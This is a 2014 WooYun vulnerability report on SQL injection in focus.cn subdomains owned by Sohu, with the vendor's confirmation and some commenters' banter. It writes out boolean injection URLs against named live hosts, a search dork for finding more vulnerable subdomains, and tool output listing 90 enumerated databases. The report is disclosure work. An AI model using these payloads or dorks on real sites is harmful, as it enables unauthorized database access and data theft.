漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-057250
漏洞标题：搜狐旗下某站二级域名下存在通用sql注入（涉及90个库）
相关厂商：搜狐
漏洞作者： 浩天
提交时间：2014-04-16 10:34
修复时间：2014-05-31 10:34
公开时间：2014-05-31 10:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-16： 细节已通知厂商并且等待厂商处理中
2014-04-16： 厂商已经确认，细节仅向厂商公开
2014-04-26： 细节向核心白帽子及相关领域专家公开
2014-05-06： 细节向普通白帽子公开
2014-05-16： 细节向实习白帽子公开
2014-05-31： 细节向公众公开
简要描述：
一哥们组团练级，当小弟的凑个热闹
详细说明：
http://cc.focus.cn/common/modules/dmc/loupandyview.php?id=696' and 1=1 and '%'='%
正常回显
http://cc.focus.cn/common/modules/dmc/loupandyview.php?id=696' and 1=2 and '%'='%
跳白页
http://nj.focus.cn/common/modules/dmc/loupandyview.php?id=101081
....
很多很多
漏洞证明：
baidu & google 搜如下内容，二级域名下几乎都是sql注入点
site:focus.cn inurl:loupandyview.php?id
90个库，发了
available databases [90]:
[*] anyanghouse
[*] anyanghouse_forum
[*] anyanghouse_sort
[*] binzhouhouse
[*] binzhouhouse_forum
[*] binzhouhouse_sort
[*] cchouse
[*] cchouse_forum
[*] cchouse_sort
[*] dandonghouse
[*] dandonghouse_forum
[*] dandonghouse_sort
[*] datonghouse
[*] datonghouse_forum
[*] datonghouse_sort
[*] dlhouse
[*] dlhouse_forum
[*] dlhouse_sort
[*] dongyinghouse
[*] dongyinghouse_forum
[*] dongyinghouse_sort
[*] dqhouse
[*] dqhouse_forum
[*] dqhouse_sort
[*] dzhouse
[*] dzhouse_forum
[*] dzhouse_sort
[*] homepages
[*] house
[*] hrbhouse
[*] hrbhouse_forum
[*] hrbhouse_sort
[*] information_schema
[*] jininghouse
[*] jininghouse_forum
[*] jininghouse_sort
[*] kfhouse
[*] kfhouse_forum
[*] kfhouse_sort
[*] linfenhouse
[*] linfenhouse_forum
[*] linfenhouse_sort
[*] mysql
[*] mysql_identity
[*] nanyanghouse
[*] nanyanghouse_forum
[*] nanyanghouse_sort
[*] puyanghouse
[*] puyanghouse_forum
[*] puyanghouse_sort
[*] qdhouse
[*] qdhouse_forum
[*] qdhouse_sort
[*] qqhehouse
[*] qqhehouse_forum
[*] qqhehouse_sort
[*] sjzhouse
[*] sjzhouse_forum
[*] sjzhouse_sort
[*] songyuanhouse
[*] songyuanhouse_forum
[*] songyuanhouse_sort
[*] taianhouse
[*] taianhouse_forum
[*] taianhouse_sort
[*] test
[*] testhouse
[*] testhouse_forum
[*] testhouse_sort
[*] tyhouse
[*] tyhouse_forum
[*] tyhouse_sort
[*] weihaihouse
[*] weihaihouse_forum
[*] weihaihouse_sort
[*] xinxianghouse
[*] xinxianghouse_forum
[*] xinxianghouse_sort
[*] xuchanghouse
[*] xuchanghouse_forum
[*] xuchanghouse_sort
[*] xyhouse
[*] xyhouse_forum
[*] xyhouse_sort
[*] yqhouse
[*] yqhouse_forum
[*] yqhouse_sort
[*] zibohouse
[*] zibohouse_forum
[*] zibohouse_sort
修复方案：
就不继续渗透了
版权声明：转载请注明来源 浩天@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2014-04-16 11:00
厂商回复：
感谢对搜狐安全关注！已在修复中。
最新状态：
暂无
漏洞评价：
评论
-
感谢，还帮我加图了，不同的子站，能查到的数据库个数是不一样的
-
@浩天 最好配个图，以后也好打马 ：）
-
@疯狗 收到
-
@浩天 20RANK 真高呀，我也是看到kobin97给的压力才找的啊。
-
@猪猪侠 @疯狗 难得有大牛关注我
-
你们是都是1个或者几个，我都是批量，呵呵
-
@U神 手工，站太大，扫不了吧
-
膜拜中关村的大牛
( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)